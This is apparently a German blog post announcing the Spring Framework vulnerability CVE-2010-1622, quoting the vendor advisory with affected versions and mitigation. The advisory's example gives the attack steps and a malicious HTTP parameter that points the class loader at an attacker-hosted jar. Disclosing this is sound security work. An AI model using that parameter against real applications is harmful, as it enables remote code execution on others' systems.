Kritische Sicherheitslücke im Spring Framework

Spring Source hat mit CVE-2010-1622 auf eine kritische Sicherheitslücke im Spring Framework aufmerksam gemacht. Die von Meder Kydyraliev, Google Security Team gefundene Lücke ist seit April bekannt und wurde mit dem Release Spring Framework 3.0.3 gefixt. (Dieses Release wurde jedoch nicht als sicherheitskritisch gekennzeichnet und das Problem könnte so leicht übersehen werden!) Bei der Lücke handelt es sich um „remote arbitrary code execution“ – ein Angreifer kann also beliebigen Code im Kontext der Spring Anwendung aus der Ferne ausführen. Das Spring Framework hat sich in den letzten Jahren als defacto Standard im Bereich der Java Enterprise Entwicklung herauskristallisiert und konkurriert mit dem JavaEE Stack von Sun/Oracle.

Wer Spring einsetzt sollte über ein Update nachdenken, bzw. Anwendungen darauf Überprüfen, dass statt „disallowedProperties“ die „allowedProperties“ beim Binding explizit gesetzt werden.

Im folgenden der Text von CVE-2010-1622:

7 June 2010: CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Versions Affected:

  • 3.0.0 to 3.0.2
  • 2.5.0 to 2.5.6.SEC01 (community releases)
  • 2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:

The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This mechanism allows an attacker to modify the properties of the class loader used to load the object (via ‚class.classloader‘). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs used by the class loader to point to locations controlled by the attacker.

Example:

This example is based on a Spring application running on Apache Tomcat.

1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:

– META-INF/spring-form.tld – defining spring form tags and specifying that they are implemented as tag files and not classes;

– tag files in META-INF/tags/ containing tag definition (arbitrary Java code).

2. Attacker then submits HTTP request to a form controller with the following HTTP parameter:

class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/

At this point the zeroth element of the WebappClassLoader’s repositoryURLs property will be overwritten with attacker’s URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader’s URLs to resolve tag libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the jar file is performed by the URL class).

Mitigation:

  • All users may mitigate this issue by upgrading to 3.0.3
  • Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02
  • Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:

The issue was discovered by Meder Kydyraliev, Google Security Team.

 

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.